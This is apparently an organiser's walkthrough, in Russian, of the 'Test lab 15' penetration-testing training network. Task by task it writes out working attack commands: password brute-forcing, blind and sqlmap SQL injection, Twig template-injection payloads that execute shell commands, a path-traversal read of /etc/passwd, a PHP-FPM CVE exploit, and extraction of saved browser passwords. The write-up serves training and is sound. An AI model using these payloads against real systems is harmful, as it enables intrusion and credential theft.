15-го марта 2021 г. мы запустили пятнадцатую по счёту лабораторию тестирования на проникновение Test lab под кодовым названием названием: Who is the n0v1ch0k?

На 12 день в режиме нон-стоп участнику BadBlackHat удалось первому скомпрометировать все узлы лаборатории. Для всех остальных, кто пытался, пытается и будет пытаться пропентестить Test lab 15, мы решили опубликовать ее прохождение.

Лаборатории Test lab — бесплатные площадки для проверки и закрепления навыков тестирования на проникновение, представляющая собой корпоративную сеть виртуальной компании из уязвимых и неуязвимых компонентов (серверов, сетевого оборудования и рабочих станций).

Итак, пришло время разобрать все задания Test lab 15, чтобы дать возможность тем, у кого не получается, глубже погрузиться в мир информационной безопасности и узнать для себя что-то новое. Содержание получилось довольно объёмным, но, надеемся, что интересным.

Статья носит информационный характер. Не нарушайте законодательство.

Подключение к лаборатории

Для подключения к лаборатории используем логин/пароль, полученные в личном кабинете. Там же находится инструкция для настройки OpenVPN соединения для Linux и Windows платформ. На момент написания статьи, 26 марта, было установлено более 500 уникальных подключений к VPN. При этом, только 124 участника смогли взять хотя бы один токен.

После подключения становятся доступны шлюзы 192.168.101.16 и 192.168.101.17, за которыми расположены остальные узлы лаборатории. Сканируем хост 192.168.101.16 на наличие открытых портов и находим только открытый 80 порт:

# nmap -sV 192.168.101.16
Результат

Через 192.168.101.16 можно взаимодействовать только с веб-приложением в виде сайта, но не ясно, что с ним делать, поскольку мы не имеем учетных данных для авторизации, а автоматические инструменты сканирования не дали ожидаемых результатов. Веб-приложение защищено с помощью Nemesida WAF, работу которого можно оценить на примере этого сайта. Если вызвать ошибку 404 или 50х, то появится кастомная страница, где указан e-mail, который мы записываем к себе.

Также на странице сайта есть адрес электронной почты info@test.lab. Сохраняем эти данные. Решив не тратить время на перебор паролей для этих пользователей, двигаемся дальше.

Mail

Сканируем хост 192.168.101.17 и находим открытые порты 143 и 8100. Это сервисы IMAP и HTTP, где есть форма аутентификации для пользователей.

# nmap -sV 192.168.101.17
Результат

Воспользовавшись инструментом Hydra начинаем перебор паролей для ранее найденных пользователей info@test.lab и support-web@test.lab, но подобрать удается только для последней учетной записи.

# hydra -l support-web@test.lab -P /usr/share/john/password.lst imap://192.168.101.17
Результат

Авторизуемся через веб-форму и попадаем в почту. Находим токен, jar-файл и конфигурационный файл для VPN, все сохраняем к себе.

Подключаемся с новой конфигурацией VPN и в журнале подключения видим добавление новых маршрутов на подсети:

# route

При сканировании подсети 10.0.4.0/24 находим только один доступный хост 10.0.4.251 с открытым 80 портом.

# nmap -sV 10.0.4.0/24
Результат

Также сканируем и другие сети:

# nmap -sV 10.1.4.0/24
Результат

Замечаем доступные хосты 10.1.4.20 и 10.1.4.250.

# nmap -sV 10.0.2.0/24
Результат

# nmap 10.1.0.0/24
Результат


VPN-2

Переходим по адресу 10.1.4.250 и видим стандартную страницу сайта, в коде которой ничего интересного обнаружить не удалось. Поиск директорий с помощью Dirb оказался безрезультатным. Поскольку сами задания предполагают поиск токенов, то попробуем использовать слово «token» в запросе. В результате скачивается файл, содержащий токен.

DNS

На хосте 10.1.4.10 открыт 53 порт, который используется сервисом Bind, то есть, это DNS-сервер. Используя имя домена сайта, составим команду для AXFR:

# dig axfr test.lab @10.1.4.10
Результат

где в выводе указаны IP-адреса других серверов в сети и забираем токен.

AD

Так как мы знаем, что 10.1.0.4 — это контроллер домена, то запустим enum4linux и попробуем получить какую-нибудь информацию о домене:

# enum4linux 10.1.0.4
Результат

Данные одного из пользователей содержат токен.

JAVA

Теперь разберемся с JAR-файлом, который нашли на почте. Открываем jar-файл как архив и открываем Main.class в IDE:

В коде видим данные для подключения к SSH к серверу 10.1.0.10, но указанный в коде пароль не подходит.

Видоизменяем код

Сохраняем файл и компилируем. Запустив его повторно получим корректные данные для подключения к серверу 10.1.0.10 по SSH:

# java -jar client_испр.jar
Вывод

Dev

На сервере 10.1.0.10 в директории /opt/token находим токен, а в папке scripts — скрипт, который должен создавать архив vpn.zip на этом же сервере.

Через htop отслеживаем время выполнения скрипта, проверяем содержимое директории и забираем архив, в котором находится еще один файл конфигурации для VPN. Подключившись с новой конфигурацией получаем доступ к серверам, которые ранее были для нас закрыты.

# route

Users

Просканируем сеть 10.0.2.0/24

# nmap -sV -Pn 10.0.2.0/24

Находим машины 10.0.2.2-10.0.2.5. Вероятно, это пользовательские машины, учетные записи которых мы нашли ранее. Открыт 22 порт SSH, поэтому будем подбирать пароль с помощью Hydra:

# hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://10.0.2.3
Результат

Получаем пароли от пользователей stepanova и ivanov. Авторизуемся с этими учетными данными на каждой машине и ищем какую-нибудь интересную информацию. На сервере 10.0.2.2 в домашней директории пользователя ivanov находим файл-контейнер от KeePass.

Как правило, они защищены паролем, но стандартный пароль от учетной записи не подходит. Исследовав сервер также находим установленный браузер Mozilla Firefox. Пользователи часто используют одни и те же пароли для различных сервисов. Попробуем найти пароль там.

Файл с паролями хранится в домашней директории пользователя:

~/.mozilla/firefox/

Имя файла, содержащего пароли, можно узнать отфильтровав параметр path из файла profiles.ini:

cat ~/.mozilla/firefox/profiles.ini | grep -i "path"

Получить данные можно использовав python скрипт FIREFOX_DECRYPT, клонируем проект с GitHub:

# git clone https://github.com/Unode/firefox_decrypt

При запуске скрипт спросит мастер пароль, но по умолчанию он пустой. Результатом работы скрипта будут сохраненные пароли.

Выводим данные:

# python firefox_decrypt.py

Вводим полученный пароль в файл-контейнер и разблокируем его, получив токен в одном из его полей.

Reverse

В директории пользователя leonov на сервере 10.0.2.4 обнаруживаем файл dehcip, который можно запустить, но он будет выдавать некорректные токен и приватный ключ.

$ ./dechip

Необходимо произвести реверс-инжиниринг файла для восстановления алгоритма его работы.

Для начала делаем дамп файла с помощью objdump:

# objdump -S -t dechip > dechip.txt

Открываем полученный файл dechip.txt, видим там следующее:

Содержимое

Из Dechip.txt удаляем лишнее и оставляем читаемый код на C, чтобы более явно было видно алгоритм. Получаем следующее:

[source c] // My Bubble Sort void bubble(elem_t *start, elem_t *finish){ elem_t swap_el, *swap_p; int size = finish — start; if (size <= 1) return; for (elem_t *i = finish; i >= start; i—){ for (elem_t *j = start; j < finish-1; j++){ if (j->key > j[1].key){ swap_p = j+1; swap_el = *swap_p; *swap_p = *j; *j = swap_el; } } } } int main (){ int roundCounter = 0; unsigned char tmp; printf(«Token:\n»); bubble(&token[0],&token[14]); for (int i=0; i<15; i++){ printf(«%c»,token[i].value); printf(«\n\n»); printf(«Key:\n»); printf(«\n——BEGIN RSA PRIVATE KEY——\n»); printf(«%s»,firstLine); printf(«%s»,secondLine); roundCounter = 0; for (int c=0; c<3200; c+=2){ if ( c % 128 == 0 ){printf(«\n»);} tmp = (body2[c]%32 +9) % 25 *16 + (body2[c+1]%32 +9) %25; tmp = tmp ^ token[roundCounter].value; printf(«%c»,tmp); roundCounter++; if (roundCounter == 15) { roundCounter = 0; } printf(«\n»); printf(«——END RSA PRIVATE KEY——\n»); return 0; } [/source]

Из анализа кода можно сделать вывод, что использовалась собственная реализация сортировки “пузырёк” массива структур из 15 элементов вида {key, value}. После чего применялась операция битового исключающего ”или” (xor) к некоторому массиву. На основе полученных данных будем исправлять бинарный файл.

Анализируя реализацию алгоритма сортировки “пузырёк”, находим ошибку:

То есть, цикл доходит не до конца массива.

Создаем вспомогательную программу (в нашем случае назовем ее blanker.c) и сохраняем в файл:

[source c] #include <stdio.h> typedef struct { unsigned int value; unsigned int key; } elem_t; elem_t key[15] = {{1,2},{1,2},{2,3},{4,5},{6,7}, {1,2},{1,2},{2,3},{4,5},{6,7}, {1,2},{1,2},{2,3},{4,5},{6,7}}; int main (){ elem_t a, *start, *finish; start = &key[0]; finish = &key[14]; for (elem_t *i = start; i < finish-1; i++){ a.key = i->key; a.value = i->value; } return 0; } [/source]

Компилируем исходник:

# gcc -O0 -g -o blanker blanker.c

А также создаем и компилируем файл с исправленной версией сортировки:

[source c] #include <stdio.h> typedef struct { unsigned int value; unsigned int key; } elem_t; elem_t key[15] = {{1,2},{1,2},{2,3},{4,5},{6,7}, {1,2},{1,2},{2,3},{4,5},{6,7}, {1,2},{1,2},{2,3},{4,5},{6,7}}; int main (){ elem_t a, *start, *finish; start = &key[0]; finish = &key[14]; for (elem_t *i = start; i < finish; i++){ a.key = i->key; a.value = i->value; } return 0; } [/source] # gcc -O0 -g -o blanker2 blanker.c

Создаем дамп обоих полученных исполняемых файлов:

# objdump -S -t blanker > blank1.txt # objdump -S -t blanker2 > blank2.txt

Получается, чтобы скорректировать неправильный цикл, нужно скорректировать команду mov, убрать команду sub (например, перекрыть командой nop), команду cmp и условный переход jb.

Смотрим аналогичный код в программе dechip:

Данный хекс-код нужно привести к виду:

Для этого открываем исходный файл dechip в hex-редакторе и ищем в нём стартовую последовательность 48 83 45 e8 08:

Исправляем:

Сохраняем изменения в файле и запускаем. Результатом работы будет вывод корректного токена и приватного ключа.

# ./dechip_correct_rsa

VPN-1

По аналогии с заданием vpn-2 обращаемся по адресу 10.0.4.250/token и скачиваем файл с токеном.

News

К серверам 10.0.4.3, 10.0.4.4 и 10.0.4.12 доступ возможен только с определенных машин. Методом «проб и ошибок» выясняем, что обратиться к ним можно только через пользовательские машины 10.0.2.2-10.0.2.5. Пробрасываем туннель, используя sshuttle:

# sshuttle -r ivanov@10.0.2.3 10.0.4.0/24

Авторизуемся в системе с учетной записью пользователя ivanov с паролем для KeePass и открывается новостная лента.

Проверяем веб-приложение на наличие SQL-инъекций, но не получаем никакой видимой реакции на пейлоады. Тогда попробуем эксплуатировать Blind SQL-injection.

Проверяем простые условные выражения:

1' or 1=1 -- - 1' or 1=2 -- - 1' or sleep(10) -- -

Условные операторы выполняются и производится задержка в 10 секунд. Это значит, что можно говорить о наличии уязвимости. Теперь остается только подобрать правильный пейлоад для поиска токена в базе данных. К сожалению, автоматизировать процесс эксплуатации инъекции либо не получится, либо будет очень проблематично т.к. с каждым запросом изменяется название полей для пользовательского ввода.

Конечный пейлоад для проверки наличия того или иного символа будет выглядеть так:

may%' and if(substring((select token from token limit 1),1,1)='I',sleep(10),1); -- -

Изменяя позицию проверяемого символа и букву мы сможем проверить все варианты и составить токен.

Bugtracker

На сервере 10.0.4.3 обнаруживаем еще одно веб-приложение.

Смотрим какие cookie передаются в запросах. Есть PHPSESSID и logged — пока что просто запоминаем эту информацию.

Проверяем строку поиска на использование шаблонизаторов, основываясь на методе их определения:

Введя на последнем этапе {{7*’7′}} и получив результат 49 делаем вывод, что используется Jinga2 или Twig. Читаем документацию по шаблонизатору Twig и вводим команду в поисковой строке для получения текущего id пользователя:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Результат

Получаем id пользователя, но пока это ничего не дает. На основе тикетов выясняем, что для логинов в системе используется salt. Выполняем поиск в index.php по слову «salt» командой:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat index.php | grep 'salt'")}}
Результат

Помимо salt к логинам применяется двойное MD5 хеширование. Выполняем поиск по msalt в index.php. Строки нет и возможно переменная определена в другом файле. Производим поиск командами:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat index.php | grep 'include'")}}
Результат

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat index.php| grep 'require'")}}
Результат

Результат отрицательный. Попробуем последовательно искать подключаемые файлы:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat settings.php")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat configuration.php")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat config.php")}}
Результат

Последняя команда дает результат, что означает, что файл присутствует. Выполняем поиск $msalt по файлу config.php:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat config.php | grep 'msalt'")}}
Результат

Полученный salt TL2020 склеиваем с логином администратора bug.admin и дважды применяем MD5 хеширование:

echo -n 'TL2020bug.admin' | md5sum echo -n 'e5dd5634ce279aabd853eb5b737b520f' | md5sum

Получившийся результат подставляем в cookie в параметр logged и обновляем страницу. Видим, что мы залогинены как администратор, а в имени находится токен.

ITNews

Заходим на сайт под пользователем stepanova и попадаем на страницу с записями и полями для их фильтрации. Не обнаружив на странице уязвимостей смотрим исходный код и замечаем подключаемые скрипты:

Изучив каждый из них, останавливаемся на /inc/script.js, где в самом конце присутствует самописный скрипт, генерирующий AJAX-запрос и указана страница /load_news.php:

Перейдя на страницу обнаруживаем, что на ней находится несколько записей:

Используя параметр search составляем запрос для SQLmap:

# sqlmap -u 10.0.4.4/load_news.php?search=* --dbms=PostgreSQL --cookie="PHPSESSID=6d2u26b67bs8v7on07j964jr0c" --tamper=between
Результат

Дампим содержимое таблиц:

# sqlmap -u http://10.0.4.4/load_news.php?search=* --dbms=postgresql --cookie="PHPSESSID=6d2u26b67bs8v7on07j964jr0c" --tamper=between --tables
Результат

И получаем токен.

Router

На хосте 10.0.4.20 открыт 161 UDP порт, предназначенный для протокола SNMP. Перебор community-строк для 1 и 2 версии SNMP не дал результатов, поэтому будем работать с v3. Особенность данного режима в повышенном уровне безопасности и 3 режимами аутентификации:

  • имя пользователя;
  • имя пользователя и пароль;
  • имя пользователя, пароль и пароль шифрования.

Для получения имени пользователя запускаем Patator. К статью, имя пользователя можно получить независимо от используемого режима безопасности:

# patator snmp_login host=10.0.4.20 version=3 user=FILE0 0=users.txt -x ignore:mesg="Unknown USM user"
Результат

Получаем имя пользователя Rafael.

Теперь запускаем инструмент SNMPWN, который будет одновременно перебирать пароль и пароль шифрования для указанного пользователя:

# ./snmpwn.rb --hosts hosts.txt --users users.txt --passlist passwords.txt --enclist passwords.txt
Результат

Кстати, этот инструмент может подобрать и имя пользователя, если указать в users.txt несколько логинов. Подобрав пароль и пароль шифрования используем SNMPwalk для получения информации о конфигурации роутера и токен:

# snmpwalk -v3 -u rafael -a SHA -A spiderman -x AES -X ChangeMe -l authPriv 10.0.4.20
Результат

Site

Ранее сайт у нас был доступен, но находился под защитой WAF. Теперь же, когда мы пробились в одну сеть к нему, мы можем пытаться искать и эксплуатировать уязвимости. Просканируем сайт с помощью whatweb, не забыв прописать 10.0.4.2 в /etc/hosts для обращения к сайту в обход WAF:

# whatweb 10.0.4.2
Результат

Узнали, что веб-сервер — Nginx 1.18 и CMS WordPress 5.6.1. Запускаем WPScan для поиска более подробной информации:

# wpscan --url http://10.0.4.2 --plugins-detection aggressive
Результат

Находим список плагинов, среди которых оказывается уязвимый backup-by-supsystic

Находим информацию о его уязвимости на exploit-db и используем эксплойт из описания для эксплуатации LFI. В результате скачивается файл /etc/passwd, где находится токен:

http://site.test.lab/wp-admin/admin.php?page=supsystic-backup&tab=bupLog&download=../../../../../../../../../etc/passwd
Результат запроса

Admin

Как в случае с заданиями News,Bugtrack и ITnews доступ на сервер возможен только с определенной машины — 10.0.2.4. Для подключения используем найденный в задании Reverse приватный ключ:

$ ssh leonov@10.1.0.2 -i /tmp/ghost
Подключение к серверу

В домашней директории пользователя находим токен.

VoIP

Также на сервере находим некий дамп в директории /opt и копируем его к себе для анализа. Анализируем дамп:

$ tcpdump -r /root/dump -A
Просмотр через tcpdump

И обнаруживаем упоминание IP-телефонии Asterisk. Теперь откроем этот дамп с помощью Wireshark и перейдем в раздел телефонии, где сможем прослушать телефонный разговор и получить токен.

FPM

Попав на сервер 10.1.0.2 нам стали доступны еще несколько хостов. В частности 10.1.0.3. При помощи NetCat просканировали открытые порты сервера командой:

$ nc -vnz 10.1.0.3 1-65536 2>&1 | grep -v 'timed out'

В итоге обнаружили 2 открытых порта — 80 и 6001.

Выполним проброс до удаленной машины последовательными командами:

# sshuttle -r ivanov@10.0.2.4 10.1.0.0/24 # ssh -L 80:10.1.0.3:80 leonov@10.1.0.2 -i /root/ghost

где /root/ghost — сертификат, полученный в задании Reverse. Обратимся к сайту и видим, что сайт на профилактике:

Попытка фаззинга директорий через Dirb ни к чему не приводит. Похоже, что на этом сайте ничего интересного нет. Пробросим порт 6001 и посмотрим что там:

# sshuttle -r ivanov@10.0.2.4 10.1.0.0/24
# ssh -L 6001:10.1.0.3:6001 leonov@10.1.0.2 -i /root/ghost

Во время сканирования сайта с помощью Dirb был найден файл index.php. Это означает, что сайт работает в связке Nginx+PHP-fpm. Поэтому можно предположить, что порт 6001 обслуживает сервис PHP-fpm, хотя и не является стандартным для него. В этом случае можно проверить уязвимость CVE-2019-11043, выполнив скрипт:

# python fpm.py 127.0.0.1 /var/www/html/index.php -c "<?php system('ls /var/'); ?>"
Результат

Получив положительный результат можно пробовать искать токен:

Токен представлен в виде картинки, что явно неспроста. Сохраним картинку для дальнейшего исследования. Дополнительно на сервере можно найти дамп testlab.cap.

Wireless

Откроем testlab.cap с помощью Aircrack-ng:

# aircrack-ng testlab.cap -w /usr/share/wordlists/rockyou.txt
Результат

Выбираем сеть Testlab и ожидаем окончания работы инструмента

WITH?

Изучаем картинку, которую скачали, выполняя задание FPM. Дополнительной информации, кроме размера у нее нет, поэтому предположим, что здесь применялась стеганография. Cкачиваем пакет с Github для исследования стеганографических надписей и применяем к нашей картинке:

# python2 steganography.py -d /root/token.jpg
Результат

В выводе получаем токен.

Elastic

При исследовании сервера Admin (10.1.0.2) в .bash_history видим подозрительный curl-запрос к хосту 10.1.4.5. Пробрасываем этот порт на локальную машину:

# ssh -L 9200:10.1.4.5:9200 leonov@10.1.0.2 -i /root/ghost
Создание туннеля

И обращаемся в браузере к сервису Elastic, но для начала требуется пройти аутентификацию. Судя по всему используется basic auth. Имя пользователя у нас известно bj_smith, а пароль подобрать не будет проблемой:

# patator http_fuzz auth_type=basic url=http://127.0.0.1:9200 user_pass=FILE0:FILE1 0=combos.txt 1=/usr/share/wordlists/rockyou.txt -x ignore:code=401
Результат

получаем список индексов:

Видим 2 индекса documents и documents2. Запрашиваем содержимое:

http://127.0.0.1:9200/documents/_search?pretty
Результат запроса

Получаем первые 10 записей. Предполагаем, что токен находится в поле text, но содержит не только буквы но и цифры. Составим curl-запрос, которым будем искать совпадения в цифрах для поля «text». На цифре 3 получили нужный результат в виде токена:

# curl -u bj_smith -XGET "127.0.0.1:9200/documents/_search?pretty" -H 'Content-Type: application/json' -d '{ "query": {"query_string": {"query": "*3*", "default_field": "text"} } }'
Результат

API

На сервере 10.0.4.11, доступный через сервер 10.1.0.2 (Admin) доступен 80 порт. Выполним проброс на локальную машину и изучим веб-приложение:

# ssh -L 80:10.0.4.11:80 leonov@10.1.0.2 -i /root/ghost
Создание туннеля

Попробуем просканировать веб-приложение с помощью Dirb:

# dirb http://127.0.0.1
Результат

Ничего не нашли, но если дополнить ключом -w, то мы будем игнорировать предупреждения:

# dirb http://127.0.0.1 -w
Результат

Это помогло найти страницу auth, которая уже не отвечает с кодом 403. Получается, найдена страница аутентификации. Запросы отправляются методом GET, поэтому пробуем подобрать параметр для аутентификации через GET-параметр:

http://127.0.0.1/auth?user=admin

http://127.0.0.1/auth?username=admin

Что-то нашли, но ничего существенного это пока не дало. Попробуем проверить параметр username на sql-инъекции. Теперь дампим таблицы и ищем токен:

# sqlmap -u http://127.0.0.1/auth?username=* --dbs --tamper=space2comment -D public --tables
Результат

# sqlmap -u http://127.0.0.1/auth?username=* --dbs --tamper=space2comment -D public -T auth --dump
Результат

Произведя base64-декодирование токена получаем ответ «YYaaYYaaFF«.

GIT

С сервера 10.1.0.2 также есть доступ к 2 последним заданиям — GIT и cabinet, начнем с первого. Выполним проброс на локальную машину последовательными командами:

# sshuttle -r ivanov@10.0.2.4 10.1.0.0/24
# ssh -L 80:10.1.4.3:80 leonov@10.1.0.2 -i /root/ghost

Открывается главная страница, где мы авторизуемся под учетной записью пользователя stepanova и изучаем репозиторий:

В репозитории обнаруживаем исходный код JAVA-приложения для задания JAVA:

Но в одном из коммитов обнаруживаем токен, которым является измененный пароль от SSH.

Cabinet

С сервера 10.1.0.2 просканируем наш хост и обнаружим открытые порты 22 и 80. Выполним проброс на локальную машину последовательными командами:

# sshuttle -r ivanov@10.0.2.4 10.1.0.0/24
# ssh -L 80:10.1.0.20:80 leonov@10.1.0.2 -i /root/ghost

Авторизуемся в системе под учетной записью пользователя ivanov и попадаем на страницу с таблицей:

Сканирование веб-приложения с помощью Dirb результатов не дает:

На сайте больше ничего интересного обнаружить не удалось. Попробуем подключиться к серверу по SSH одним из пользователей. Удается это сделать под учетной записью leonov.

$ netstat -lnp

смотрим открытые порты и находим сервис с открытым портом 11211:

$ systemctl status -all

Узнаем, что порт используется сервисом memcached. Обращение к порту 11211 осуществляется только с адреса 127.0.0.1. Обратимся через telnet и выполним команду stats items для вывода статистики:

$ stats items
Вывод команды

Теперь запросим дамп кэша:

$ stats items cachedump 1 100
Вывод команды

Смотрим, что одно из значений присваивается для текущего пользователя в параметре session в cookie. Вероятно, это идентификатор сессии. Проверяем их в браузере, подставляя каждый из них по очереди в параметр session:

Обновляем страницу и с одним их них видим на странице токен:

На этом прохождение Test lab 15 завершено, спасибо, что дочитали до конца.

P.S.

Если все это показалось слишком сложным и хотите на практике разобраться, как это работает — пройдите Zero Security: A или Корпоративные лаборатории Pentestit — программы практической подготовки в области информационной безопасности нашей компании. До встречи в новой Test lab!